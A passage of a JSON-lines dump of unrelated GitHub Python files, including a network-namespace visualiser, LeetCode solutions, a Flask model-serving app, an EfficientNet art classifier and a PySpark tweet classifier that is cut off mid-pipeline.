len(self.namespaces) == len(self.namespaces_by_ns)\n # multiple might have an unisnged namespace\n #assert len(self.namespaces) == len(self.namespaces_by_netnsid)\n\n def set_links(self):\n for ns_info in self.namespaces:\n links = get_links(ns_info[\"nsfs\"])\n ns_info[\"links\"] = links\n\n try:\n bpf_progs = get_bpf_net_progs(ns_info[\"nsfs\"])[0]\n except:\n continue\n\n for (ty,progl) in bpf_progs.items():\n for prog in progl:\n link1 = links.links_by_ifname[prog[\"devname\"]]\n link2 = links.links_by_ifindex[prog[\"ifindex\"]]\n assert link1 == link2\n progs = link1.get(\"bpf_progs\", [])\n progs.append({\n \"type\": ty,\n \"kind\": prog[\"kind\"],\n \"name\": prog[\"name\"],\n })\n link1[\"bpf_progs\"] = progs\n\n def set_namespaces(self):\n for ns_info in self.namespaces:\n namespaces = get_namespaces(ns_info)\n ns_info[\"children\"] = namespaces\n\n\n\ndef get_bpf_net_progs(nsfs):\n cmd = \"sudo $(which nsenter) -n%s $(which bpftool) -j net show\" % (nsfs,)\n ip = sp.run(cmd, shell=True, stdout=sp.PIPE, stderr=sp.PIPE)\n if ip.returncode != 0:\n raise RuntimeError(\"cmd: %s failed (%d)\\n%s\" % (cmd, ip.returncode, ip.stderr.decode(\"utf-8\")))\n txt = ip.stdout.decode(\"utf-8\")\n bpf_progs = json.loads(txt)\n return bpf_progs\n\ndef get_links(nsfs):\n cmd = \"sudo $(which nsenter) -n%s $(which ip) -j addr\" % (nsfs,)\n ip = sp.run(cmd, shell=True, stdout=sp.PIPE, stderr=sp.PIPE)\n if ip.returncode != 0:\n raise RuntimeError(\"cmd: %s failed (%d)\\n%s\" % (cmd, ip.returncode, ip.stderr.decode(\"utf-8\")))\n txt = ip.stdout.decode(\"utf-8\")\n links = Links(json.loads(txt))\n return links\n\n\ndef get_namespaces(ns=None):\n if ns is None:\n prefix = \"sudo\"\n else:\n prefix = \"sudo $(which nsenter) -n%s\" % (ns[\"nsfs\"])\n\n cmd = \"%s $(which lsns) --json -t net\" % (prefix,)\n lsns = sp.run(cmd, shell=True, stdout=sp.PIPE, stderr=sp.PIPE)\n if lsns.returncode != 0:\n raise RuntimeError(\"cmd: %s failed (%d)\\n%s\" % (cmd, lsns.returncode, lsns.stderr.decode(\"utf-8\")))\n txt = lsns.stdout.decode(\"utf-8\")\n\n namespaces = Namespaces(json.loads(txt))\n if ns is None:\n namespaces.set_links()\n namespaces.set_namespaces()\n\n return namespaces\n\ndef write_dot(namespaces):\n with open(\"nsview.dot\", 'w') as f:\n f.write(\"digraph G {\\n\")\n f.write(\"\\tgraph [ rankdir=\\\"LR\\\" ]\\n\")\n for ns in namespaces.namespaces:\n f.write(\"\\tsubgraph cluster_%s {\\n\" % (ns[\"ns\"],))\n f.write(\"\\t\\tlabel = \\\" namespace %s \\\"\\n\" %(ns[\"ns\"],))\n\n for link in ns[\"links\"].links:\n dotname = \"%s-%s\" % (ns[\"ns\"], link[\"ifindex\"])\n\n records = []\n dotlabel = \"< \"\n dotlabel += \"\" % (link[\"ifname\"])\n for ai in link[\"addr_info\"]:\n dotlabel += \"\" % (ai[\"family\"],ai[\"local\"])\n for prog in link.get(\"bpf_progs\", []):\n v = (\"%s-%s-%s\") % (prog[\"type\"], prog[\"kind\"], prog[\"name\"])\n dotlabel += \"\" % (v,)\n dotlabel += \"
%s
%s/%s
%s
>\"\n\n f.write(\"\\t\\t\\\"%s\\\" [\\n\" % (dotname,))\n #f.write(\"\\t\\t\\tlabel = \\\"%s\\\"\\n\" % (dotlabel, ))\n f.write(\"\\t\\t\\tlabel = %s\\n\" % (dotlabel, ))\n #f.write(\"\\t\\t\\tshape = record\\n\")\n f.write(\"\\t\\t\\tshape = plaintext\\n\")\n f.write(\"\\t\\t]\\n\")\n\n f.write(\"\\t}\\n\")\n\n existing_pairs = set()\n for src_namespace in namespaces.namespaces:\n for src_dev in src_namespace[\"links\"].links:\n\n # link in the same namespace\n src_link = src_dev.get(\"link\", None)\n # Ignore because it makes the graph unreadable\n src_link = None\n if src_link is not None:\n dst_namespace = src_namespace\n dst_dev = src_namespace[\"links\"].links_by_ifname[src_link]\n dotname_src = \"%s-%s\" % (src_namespace[\"ns\"], src_dev[\"ifindex\"])\n dotname_dst = \"%s-%s\" % (dst_namespace[\"ns\"], dst_dev[\"ifindex\"])\n if (dotname_dst, dotname_src) not in existing_pairs:\n f.write(\"\\t\\\"%s\\\":name -> \\\"%s\\\":name [dir=none, color=green]\\n\" % (dotname_src, dotname_dst))\n existing_pairs.add((dotname_src, dotname_dst))\n continue\n\n src_link_netnsid = src_dev.get(\"link_netnsid\", None)\n src_link_ifidx = src_dev.get(\"link_index\", None)\n if src_link_netnsid is None or src_link_ifidx is None:\n continue\n\n dst_ns = src_namespace[\"children\"].namespaces_by_netnsid[src_link_netnsid][\"ns\"]\n dst_namespace = namespaces.namespaces_by_ns[dst_ns]\n dst_dev = dst_namespace[\"links\"].links_by_ifindex[src_link_ifidx]\n dotname_src = \"%s-%s\" % (src_namespace[\"ns\"], src_dev[\"ifindex\"])\n dotname_dst = \"%s-%s\" % (dst_namespace[\"ns\"], dst_dev[\"ifindex\"])\n if (dotname_dst, dotname_src) not in existing_pairs:\n f.write(\"\\t\\\"%s\\\":name -> \\\"%s\\\":name [dir=none, color=red]\\n\" % (dotname_src, dotname_dst))\n existing_pairs.add((dotname_src, dotname_dst))\n\n f.write(\"}\\n\")\n\ndef main():\n nses = get_namespaces()\n write_dot(nses)\n\nif __name__ == '__main__':\n main()\n","repo_name":"kkourt/nsview","sub_path":"nsview.py","file_name":"nsview.py","file_ext":"py","file_size_in_byte":7020,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"127998584","text":"import math\n\ndef isPerfectSquare(x):\n value = int(math.sqrt(x))\n return value * value == x\n\ndef isFibonacci(n):\n first = 5 * n**2 + 4\n second = 5 * n**2 - 4\n\n return isPerfectSquare(first) or isPerfectSquare(second)\n\n# utility function \nfor i in range(1, 11):\n if(isFibonacci(i) == True):\n print(i, \" is a fibonacci number.\")\n else:\n print(i, \" is not a fibonacci number.\")\n\n \n","repo_name":"nou-ros/pyLab","sub_path":"pyBasics/problemSolving/geeksForgeeks/basicProgram/isFibonacci.py","file_name":"isFibonacci.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"1169824820","text":"from django.shortcuts import render\nfrom konlpy.tag import Okt\nfrom keras.models import load_model\nfrom tensorflow.keras.preprocessing.text import Tokenizer\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences\nimport csv\n\nokt = Okt()\nmodel = load_model('models/review_model.h5')\n\nvocab_size = 42019\nX_train = []\npath = 'data/review_train.csv'\nwith open(path, 'r', encoding='UTF8') as f:\n reader = csv.reader(f)\n for idx, list in enumerate(reader):\n X_train.append(list)\n\nmax_len = 50\ntokenizer = Tokenizer(vocab_size, oov_token='OOV')\ntokenizer.fit_on_texts(X_train)\nX_train = tokenizer.texts_to_sequences(X_train)\nX_train = pad_sequences(X_train, maxlen=max_len)\n# X_test = tokenizer.texts_to_sequences(X_test)\n\nstopwords = ['도', '는', '다', '의', '가', '이', '은', '한', '에', '하', '고', '을', '를', '인', '듯', '과', '와', '네', '들', '듯', '지', '임', '게']\n\n# Create your views here.\nfrom django.urls import reverse\nfrom django.views.generic import CreateView\n\nfrom commentapp.forms import CommentCreationForm\nfrom commentapp.models import Comment\n\n\n#\n# class CommentCreateView(CreateView):\n# model = Comment\n# form_class = CommentCreationForm\n# tempate_name = 'commentapp/create.html'\n#\n# def get_success_url(self):\n# return reverse('comment:result', {'output':1})\n\ndef create(request):\n return render(request, 'commentapp/create.html')\n\n\ndef result(request):\n full = request.GET['fulltext']\n full = okt.morphs(full)\n full = [word for word in full if not word in stopwords]\n encoded = tokenizer.texts_to_sequences([full])\n # error !!!!\n pad_new = pad_sequences(encoded, maxlen=80)\n score = float(model.predict(pad_new))\n if score > 0.5:\n output = '긍정'\n else:\n output = '부정'\n\n return render(request, 'commentapp/result.html', {'output': output})\n\n\n\n\n","repo_name":"LetUsSpeak/bitgoeul-trading-house","sub_path":"commentapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72862240694","text":"# Given an array, rotate the array to the right by k steps, where k is non-negative.\n\n \n\n# Example 1:\n\n# Input: nums = [1,2,3,4,5,6,7], k = 3\n# Output: [5,6,7,1,2,3,4]\n# Explanation:\n# rotate 1 steps to the right: [7,1,2,3,4,5,6]\n# rotate 2 steps to the right: [6,7,1,2,3,4,5]\n# rotate 3 steps to the right: [5,6,7,1,2,3,4]\n\n# Example 2:\n\n# Input: nums = [-1,-100,3,99], k = 2\n# Output: [3,99,-1,-100]\n# Explanation: \n# rotate 1 steps to the right: [99,-1,-100,3]\n# rotate 2 steps to the right: [3,99,-1,-100]\n\n \n\n# Constraints:\n\n# 1 <= nums.length <= 105\n# -231 <= nums[i] <= 231 - 1\n# 0 <= k <= 105\n\n# first naieve solution\n\nclass Solution:\n def rotate(self, nums: List[int], k: int) -> None:\n \"\"\"\n Do not return anything, modify nums in-place instead.\n \"\"\"\n steps = k % len(nums)\n \n temp = nums[-steps:]\n del nums[-steps:]\n \n for i in temp[::-1]:\n nums.insert(0,i)\n\n# Brute force solution\n\nclass Solution:\n def rotate(self, nums: List[int], k: int) -> None:\n \"\"\"\n Do not return anything, modify nums in-place instead.\n \"\"\"\n k = k % len(nums)\n \n \n for i in range(k):\n prev = nums[-1]\n \n for k in range(len(nums)):\n nums[k],prev = prev, nums[k]\n \n# Time complexity is O(N * K)\n\n# Space complexity is O(1)\n\nclass Solution:\n def rotate(self, nums: List[int], k: int) -> None:\n \"\"\"\n Do not return anything, modify nums in-place instead.\n \"\"\"\n n = len(nums)\n \n temp = [0] * n\n \n for i in range (n):\n temp[(i+k) % n] = nums[i]\n nums[:] =temp\n\n# Time complexity is O(N). we use an additional array and in a single pass place every element in its correct position\n\n# Space complexity is O(N)\n\n","repo_name":"conor47/Algorithm-Patterns","sub_path":"General Problems/Array/rotateArray.py","file_name":"rotateArray.py","file_ext":"py","file_size_in_byte":1856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23506054209","text":"import sys\ninput = sys.stdin.readline\n\nn = int(input())\nnums = list(map(int, input().split()))\nres = [-1] * n\n\nst = []\n\nfor i in range(n):\n while st and (nums[st[-1]] < nums[i]):\n res[st.pop()] = nums[i]\n st.append(i)\n \nfor x in res:\n print(x, end = \" \")\n\n","repo_name":"nkrang/Algorithm-Study","sub_path":"202107/B-17298/오큰수.py","file_name":"오큰수.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37216231181","text":"class Solution:\n def maximumGap(self, nums: 'List[int]') -> int: # using bucket sort, max is the currMin-prevMax\n hi = max(nums)\n lo = min(nums)\n total = len(nums)\n hmp = {}\n if hi == lo: # or total <= 2:\n return 0\n for n in nums:\n n_tile = (n - lo) * total // (hi - lo)\n if n_tile not in hmp:\n hmp[n_tile] = []\n hmp[n_tile].append(n)\n arr = []\n for i in range(total + 1):\n if i in hmp:\n arr.append([min(hmp[i]), max(hmp[i])])\n\n output = arr[0][1] - arr[0][0] # the initial value\n for i in range(1, len(arr)):\n output = max(output, arr[i][0] - arr[i - 1][1])\n return output\n\n\n# previous approach\n# class Solution:\n# def maximumGap(self, nums: 'List[int]') -> int:\n# lo = min(nums)\n# hi = max(nums)\n# n = len(nums) # distribute the number to the (hi-lo) bucket\n# hmp = {}\n# if lo == hi or n <= 2:\n# return hi - lo\n# for num in nums:\n# bucket = (num - lo) * n // (hi - lo) # distribute the number to the bucket\n# if bucket not in hmp:\n# hmp[bucket] = []\n# hmp[bucket].append(num)\n# output = 0\n# arr = [[min(hmp[i]), max(hmp[i])] for i in range(n + 1) if i in hmp]\n# for i in range(1, len(arr)):\n# output = max(arr[i][0] - arr[i - 1][1], output) # the result is the diff of currMin and prevMax\n# return output\n","repo_name":"renjieliu/leetcode","sub_path":"0001_0599/164.py","file_name":"164.py","file_ext":"py","file_size_in_byte":1549,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"42899195035","text":"v = float(input(\"Qual e a velocidade? \"))\nθ = float(input(\"Qual o angulo? \"))\nimport math\ndef jaca_war(v,θ):\n g = 9.8\n θ = math.radians(θ)\n a = (v**2)*math.sin(2*θ)\n d = a/g\n if 98 < d < 102:\n return \"Acertou!\"\n if d < 98:\n return \"Muito perto\"\n else:\n return \"Muito longe\"\nprint(jaca_war(v,θ))","repo_name":"gabriellaec/desoft-analise-exercicios","sub_path":"backup/user_298/ch25_2020_09_16_11_58_43_682709.py","file_name":"ch25_2020_09_16_11_58_43_682709.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74535861491","text":"import json\nimport os\nimport traceback\nfrom flask import Flask, request, jsonify\nfrom model_loader import ModelLoader\nimport requests\nimport hunch_server\nimport yaml\n\nhunch_server_config = {}\n\nif 'HUNCH_CONFIG' in os.environ:\n if os.path.exists(os.environ['HUNCH_CONFIG']):\n with open(os.environ['HUNCH_CONFIG']) as f:\n hunch_server_config = yaml.load(f)\n\nROTATION_FILE_PATH = hunch_server_config[\"rotation_status_file\"]\napp = Flask(__name__)\napp.logger_name = \"hunch.app\"\nmodels_loaded = {}\nmodel_loader = ModelLoader(hunch_server_config)\ntry:\n if 'MODELS_TO_LOAD' in os.environ:\n models_to_load = json.loads(os.environ['MODELS_TO_LOAD'])\n models_loaded = model_loader.get_models_from_list(models_to_load)\n\nexcept requests.exceptions.HTTPError as e:\n app.logger.error(\"Meta Service has thrown %s, the error is %s and stack trace is %s\"\n %(e.response.status_code, e.message, str(traceback.format_exc())))\n raise RuntimeError(\"Meta Service has thrown '{}' , the error is {} and stack trace is {}\".format(e.response.status_code, e.message, str(traceback.format_exc())))\n\napp.logger.info(\"Loaded models are: \" + json.dumps(models_loaded.keys()))\n\n@app.route('/elb-healthcheck', methods=['GET'])\ndef elb_healthcheck():\n try:\n if os.path.isfile(ROTATION_FILE_PATH):\n with open(ROTATION_FILE_PATH) as fd:\n lines = (fd.read()).strip()\n if lines == '1':\n #TODO: uptime, requests and capacity have to be computed\n result = {\"uptime\": 0, \"requests\": 0, \"capacity\": 100}\n return jsonify(result)\n response = jsonify({'Message': \"Out of rotation\"})\n response.status_code = 500\n return response\n except Exception as e:\n response = jsonify({'Message': \"Out of rotation\"})\n response.status_code = 500\n return response\n\n@app.route('/rotation_status', methods=['POST'])\ndef rotation_status():\n try:\n state = request.args.get('state')\n if state is not None:\n if state == \"oor\" or state == \"OOR\":\n write_rotation_status(ROTATION_FILE_PATH, '0')\n result = {'Message': \"Taking out of rotation\"}\n return jsonify(result)\n elif state == \"bir\" or state == \"BIR\":\n write_rotation_status(ROTATION_FILE_PATH, '1')\n result = {'Message': \"Taking back in rotation\"}\n return jsonify(result)\n else:\n response = jsonify({'Message': \"Bad Request\"})\n response.status_code = 400\n return response\n else:\n response = jsonify({'Message': \"Bad Request\"})\n response.status_code = 400\n return response\n except Exception as e:\n result = {'Message': str(e)}\n return jsonify(result)\n\n\n@app.route('/models-loaded', methods=['GET'])\ndef models_available():\n response = jsonify({\"result\":models_loaded.keys()})\n response.status_code = 200\n return response\n\n@app.route('/health', methods=['GET'])\ndef health():\n app.logger.debug(\"Health Check\")\n try:\n if os.path.isfile(ROTATION_FILE_PATH):\n with open(ROTATION_FILE_PATH) as fd:\n lines = (fd.read()).strip()\n if lines == '1':\n result = {\"version\": hunch_server.__version__, \"health_status\": \"OK\"}\n return json.dumps(result)\n response = jsonify({'Message': \"Out of rotation\"})\n response.status_code = 500\n return response\n except Exception as e:\n exc_traceback = str(traceback.format_exc())\n app.logger.error(\"Exception occurred: \" + str(e.message) + \",\" + exc_traceback)\n response = jsonify({\"stack_trace\": exc_traceback})\n response.status_code = 500\n return response\n\n\n@app.route('/predict', methods=['POST'])\ndef predict():\n try:\n try:\n input = json.loads(request.data)\n except ValueError as e:\n stack_trace = traceback.format_exc()\n app.logger.error(\"Json Decoding failed. Check if the payload is correct. Payload is \" +\n str(request.data) + \" and the stack_trace is \" + stack_trace)\n response = jsonify({\"result\": \"NA\", \"error\": \"Json Decoding failed. Check if the payload is correct\",\n \"exception\": str(e), \"stack_trace\": stack_trace})\n response.status_code = 400\n return response\n model_id = request.args.get('model_id')\n model_version = request.args.get('model_version')\n key = (model_id, model_version)\n\n try:\n curr_model = models_loaded[key]\n except KeyError:\n app.logger.error(\"Model: (%s,%s) doesn't exist \" %(model_id, model_version))\n response = jsonify({\"result\":\"NA\", \"stack_trace\" : \"Model: (%s,%s) doesn't exist. Deploy this model on Hunch \" %(model_id, model_version)})\n response.status_code = 400\n return response\n output = curr_model.predict(input)\n response = jsonify({\"result\":output,\"stack_trace\":\"NA\"})\n response.status_code = 200\n return response\n except Exception as e:\n exc_traceback = str(traceback.format_exc())\n app.logger.error(\"Exception occurred: \" + str(e) + \",\" + exc_traceback)\n response = jsonify({\"result\":\"NA\", \"stack_trace\": exc_traceback})\n response.status_code = 500\n return response\n\n\ndef lock(lockfile):\n import fcntl\n lockfd = open(lockfile, 'w+')\n fcntl.flock(lockfd, fcntl.LOCK_EX | fcntl.LOCK_NB)\n return lockfd\n\n\ndef unlock(lockfd):\n import fcntl\n fcntl.flock(lockfd, fcntl.LOCK_UN)\n\ndef write_rotation_status(file_path, status):\n if os.path.isfile(file_path):\n with open(file_path) as f:\n lines = f.read().strip()\n if lines == status:\n return\n lockfile = file_path + '.lock'\n if not os.path.exists(lockfile):\n fd = open(lockfile, 'w+')\n fd.close()\n\n lockfd = lock(lockfile)\n file = open(file_path, 'w+')\n file.write(status)\n file.close()\n unlock(lockfd)\n","repo_name":"flipkart-incubator/Hunch","sub_path":"hunch_server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":6220,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"21"} +{"seq_id":"15398235673","text":"# from pprint import pprint\nfrom random import randint\nfrom time import sleep\n\nfrom gym.spaces import Box\n\nfrom actions import ACTIONS\nfrom game import GameEnv\n\n\ngame = GameEnv(seed=1)\n\nprint(game.action_space)\nprint(game.observation_space)\nprint(game.observation_space.sample())\nspace = game.observation_space\nif isinstance(space, Box):\n # print(' 最小値: ', space.low)\n # print(' 最大値: ', space.high)\n pass\n\nwhile not game.done:\n obs, reward, _, info = game.step(\n action_index=randint(0, len(ACTIONS) - 1))\n print(\"reward:\", reward)\n # pprint(info)\n game.render()\n sleep(0.1)\n print(\"obs:\", obs)\n print(\"age\", game.piece.age)\n","repo_name":"hayayanai/py-hatetris","sub_path":"src/play_random.py","file_name":"play_random.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21132957727","text":"from tensorflow import data\nfrom tensorflow.keras import layers, models, optimizers\nfrom tensorflow.keras.applications.efficientnet import EfficientNetB2\nfrom tensorflow.keras.callbacks import EarlyStopping, ReduceLROnPlateau, ModelCheckpoint\nfrom os.path import join\nfrom params import *\nimport numpy as np\n\ndef initialize_model(input_shape):\n \"\"\"Initialize the Neural Network with transfer learning from EfficientNetB2\n ----------\n Arguments:\n input_shape -- Input shape given to the model i.e (256,256,3)\n -----------\n Returns a model that doesn't include top layers and has non-trainable weights\n \"\"\"\n model = EfficientNetB2(weights='imagenet', include_top=False, input_shape=input_shape)\n #Set the first layers to be non-trainable\n model.trainable = False\n\n print(\"✅ Model initialized\")\n\n return model\n\ndef add_last_layers(model, input_shape):\n \"\"\"\n Add the customized last layers to the model\n ----------\n Arguments:\n model -- model initialized with EfficientNetB2\n input_shape -- Input shape given to the model i.e (256,256,3)\n -----------\n Returns a model with its complete architecture\n \"\"\"\n #Data augmentation\n augmentation = models.Sequential([\n layers.RandomFlip(\"horizontal\"),\n layers.RandomTranslation(0.2, 0.2),\n layers.RandomRotation(0.1)\n ])\n\n #Chain the pre-trained layers of EfficientNetB2 with our own layers\n base_model = initialize_model(input_shape)\n\n model = models.Sequential([\n layers.Input(shape = input_shape),\n augmentation,\n base_model,\n layers.Flatten(),\n layers.Dense(300, activation='gelu'), #'gelu'\n layers.Dropout(0.25),\n layers.Dense(150, activation='gelu'),\n layers.Dropout(0.25),\n layers.Dense(10, activation='softmax')\n ])\n\n print(\"✅ Last layers initialized\")\n\n return model\n\ndef compile_model():\n \"\"\"\n Build the model from EfficientNetB2 and custom layers, then\n Compile the Neural Network\n ----------\n Returns a compiled model\n \"\"\"\n #Build model\n model = add_last_layers(initialize_model(INPUT_SHAPE), INPUT_SHAPE)\n\n #Compile model\n opt = optimizers.Adam(learning_rate=0.001)\n\n model.compile(loss='categorical_crossentropy',\n optimizer=opt,\n metrics=['accuracy']\n )\n\n print(\"✅ Model build and compiled\")\n\n return model\n\ndef train_model(model, model_name: str, train_ds, val_ds):\n \"\"\"\n Fit the model on the training dataset.\n Saved a .h5 file with the trained weights with model_name\n ----------\n Return a tuple (fitted model, history)\n \"\"\"\n #Set the callbacks\n es = EarlyStopping(\n monitor='val_accuracy',\n mode='auto',\n patience=4,\n verbose=1,\n restore_best_weights=True\n )\n\n lr = ReduceLROnPlateau(\n monitor=\"val_accuracy\",\n factor=0.05,\n patience=2,\n verbose=1,\n min_lr=0\n )\n\n #Save the weights of the model as a .h5 file inside /models folder\n mcp = ModelCheckpoint(\n save_weights_only=True,\n monitor='val_accuracy',\n mode='auto',\n verbose=0,\n save_best_only=True,\n filepath=os.path.join(LOCAL_MODEL_PATH, \"{}.h5\".format(model_name))\n )\n\n #Fit the model on training dataset\n history = model.fit(train_ds,\n validation_data=val_ds,\n epochs=200,\n callbacks=[es, lr, mcp]\n )\n\n return model, history\n\ndef load_trained_model(model_name=None):\n \"\"\"Build the model and load the pre-trained weights from .h5 file\n ----------\n model_name -- '.h5' filename of the pre-trained weights we want to load\n ----------\n Returns a model with its complete architecture\n \"\"\"\n model = compile_model()\n\n if model_name == None:\n filename = STD_MODEL_NAME #Load standard model if not given another one\n else:\n filename = model_name\n\n print(\"Loading trained model... \\n\")\n\n try:\n model.load_weights(os.path.join(LOCAL_MODEL_PATH, filename))\n print(f\"✅ Model {os.path.join(LOCAL_MODEL_PATH, filename)} has been loaded\")\n except:\n print(f\"❌ This file: {os.path.join(LOCAL_MODEL_PATH, filename)} does not exist!\")\n return None\n\n print(model.summary())\n\n return model\n\ndef evaluate_model(model, test_ds: data.Dataset, verbose=0):\n \"\"\"Evaluate trained model performance on the dataset\n ----------\n Arguments:\n model -- trained model\n test_ds -- test dataset used to evaluate the model. Could be a tensor or tf.data.Dataset\n ----------\n Returns a dictionnary of metrics\n \"\"\"\n if model is None:\n print(f\"❌ No model to evaluate\")\n return None\n\n metrics = model.evaluate(test_ds, return_dict=True)\n\n accuracy = metrics['accuracy']\n\n print(f\"✅ Model evaluated, Accuracy: {round(accuracy, 2)}\")\n\n return metrics\n\ndef predict(model, new_image):\n \"\"\"Make predictions from a preprocessed image\n ----------\n Arguments:\n model -- trained model\n new_image -- image as a tensor of size (1,256,256,3)\n ----------\n Returns a tuple of dictionaries :\n - first_prediction contains the highest probability with its category given by the model\n - predictions contains the probabilities for each category\n \"\"\"\n y_pred = model.predict(new_image).tolist()[0]\n\n predictions = {CLASS_NAMES[i]: np.round(y_pred[i], 2) for i in range(len(CLASS_NAMES))}\n\n if max(predictions.values()) < 0.2:\n first_prediction = {'style': None, 'probability': max(predictions.values())}\n return (first_prediction, predictions)\n\n first_prediction = {'style': max(predictions, key=predictions.get), 'probability': max(predictions.values())}\n\n return (first_prediction, predictions)\n","repo_name":"lailadib/art_guessing","sub_path":"art_guessing/backend/ml_logic/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":5889,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"44466854316","text":"#!/usr/bin/env python \n\nfrom graph_tool import Graph\nfrom graph_tool.topology import shortest_distance\n\nclass Map:\n data = []\n\n def load(self, data):\n data = [x.strip() for x in data]\n # Create a new undirectedgraph\n self.graph = Graph(directed=False)\n\n # Label everything so I'm not going back and forth between hashes\n v_name = self.graph.new_vertex_property('string')\n self.graph.vertex_properties[\"name\"] = v_name\n\n self.planets = dict()\n # Create all the vertexes first, so that creating the edges (orbits)\n # is easier \n for item in data:\n # Add vertexes, as needed\n src, dest = item.split(\")\")\n if src not in self.planets:\n v_src = self.graph.add_vertex()\n v_name[v_src] = src\n self.planets[src] = v_src\n if dest not in self.planets:\n v_dest = self.graph.add_vertex()\n v_name[v_dest] = dest\n self.planets[dest] = v_dest\n # Add edge\n self.graph.add_edge(self.planets[src],self.planets[dest])\n \n def part1(self):\n total = 0\n for planet in self.planets:\n total += self.calc_distance(planet, 'COM')\n return total\n\n def part2(self):\n return self.calc_distance('YOU', 'SAN')\n\n def calc_distance(self, src, dest):\n return shortest_distance(\n self.graph,\n self.planets[src],\n self.planets[dest]\n )\n","repo_name":"rgooler/AOC2019","sub_path":"aoc2019/map.py","file_name":"map.py","file_ext":"py","file_size_in_byte":1542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32898999077","text":"import sys\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql.types import StructType, StructField\nfrom pyspark.sql.types import IntegerType, DoubleType, StringType\nfrom pyspark.ml import Pipeline\nfrom pyspark.ml.classification import LogisticRegression, LinearSVC, NaiveBayes, OneVsRest\nfrom pyspark.ml.feature import HashingTF, RegexTokenizer, StopWordsRemover, ChiSqSelector, IDF\nfrom pyspark.ml.classification import MultilayerPerceptronClassifier\nfrom pyspark.ml.evaluation import MulticlassClassificationEvaluator\n\nif __name__ == \"__main__\":\n file_path = \"data/data.csv\"\n\n spark = SparkSession.builder \\\n .master(\"local\") \\\n .appName(\"5408-project\") \\\n .config(\"spark.some.config.option\", \"some-value\") \\\n .getOrCreate()\n\n schema = StructType([\n StructField(\"tweet\", StringType(), False),\n StructField(\"label\", IntegerType(), False),\n StructField(\"confidence\", DoubleType(), False)\n ])\n\n data_df = spark.read.csv(file_path, header=True,\n schema=schema, mode=\"DROPMALFORMED\")\n\n splits = data_df.randomSplit([0.8, 0.2], 4)\n\n training = splits[0]\n test = splits[1]\n\n #-------------------------------------------------------------------------------------------------------------------\n\n tokenizer_svm = RegexTokenizer(inputCol=\"tweet\", outputCol=\"words\", pattern=\"\\\\s+\")\n\n hashing_tf_svm = HashingTF(inputCol=\"words\", outputCol=\"tf\")\n\n idf_svm = IDF(inputCol=\"tf\", outputCol=\"features\")\n\n svm = LinearSVC()\n\n ovr = OneVsRest(classifier=svm)\n\n pipeline_svm = Pipeline(stages=[tokenizer_svm, hashing_tf_svm, idf_svm, ovr])\n\n model_svm = pipeline_svm.fit(training)\n result_svm = model_svm.transform(test)\n result_svm.show()\n\n predictionAndLabels = result_svm.select(\"prediction\", \"label\")\n evaluator = MulticlassClassificationEvaluator(metricName=\"accuracy\")\n print(\"Test set accuracy = \" + str(evaluator.evaluate(predictionAndLabels)))\n\n model_svm.write().overwrite().save(\"model-svm\")\n\n #------------------------------------------------------------------------------------------------------------------\n tokenizer_nb = RegexTokenizer(inputCol=\"tweet\", outputCol=\"words\", pattern=\"\\\\s+\")\n\n hashing_tf_nb = HashingTF(inputCol=\"words\", outputCol=\"tf\")\n\n idf_nb = IDF(inputCol=\"tf\", outputCol=\"features\")\n\n nb = NaiveBayes(modelType=\"multinomial\")\n\n pipeline_nb = Pipeline(stages=[tokenizer_nb, hashing_tf_nb, idf_nb, nb])\n\n model_nb = pipeline_nb.fit(training)\n result_nb = model_nb.transform(test)\n result_nb.show()\n\n prediction_and_labels = result_nb.select(\"prediction\", \"label\")\n evaluator = MulticlassClassificationEvaluator(metricName=\"accuracy\")\n print(\"Test set accuracy = \" + str(evaluator.evaluate(prediction_and_labels)))\n\n model_nb.write().overwrite().save(\"model-nb\")\n\n #------------------------------------------------------------------------------------------------------------------\n tokenizer_lr = RegexTokenizer(inputCol=\"tweet\", outputCol=\"words\", pattern=\"\\\\s+\")\n\n hashing_tf_lr = HashingTF(inputCol=\"words\", outputCol=\"tf\")\n\n idf_lr = IDF(inputCol=\"tf\", outputCol=\"features\")\n\n lr = LogisticRegression()\n\n pipeline_lr = Pipeline(stages=[tokenizer_lr, hashing_tf_lr, idf_lr, lr])\n\n model_lr = pipeline_lr.fit(training)\n result_lr = model_lr.transform(test)\n result_lr.show()\n\n prediction_and_labels = result_lr.select(\"prediction\", \"label\")\n evaluator = MulticlassClassificationEvaluator(metricName=\"accuracy\")\n print(\"Test set accuracy = \" + str(evaluator.evaluate(prediction_and_labels)))\n\n model_lr.write().overwrite().save(\"model-lr\")\n\n #------------------------------------------------------------------------------------------------------------------\n tokenizer_mlp = RegexTokenizer(inputCol=\"tweet\", outputCol=\"words\", pattern=\"\\\\s+\")\n\n hashing_tf_mlp = HashingTF(inputCol=\"words\", outputCol=\"tf\")\n\n idf_mlp = IDF(inputCol=\"tf\", outputCol=\"idf-features\")\n\n selector = ChiSqSelector(numTopFeatures=40, featuresCol=\"idf-features\",\n outputCol=\"features\")\n\n layers = [40, 30, 20, 10, 5, 3]\n\n mlp = MultilayerPerceptronClassifier(layers=layers)\n\n pipeline_mlp = 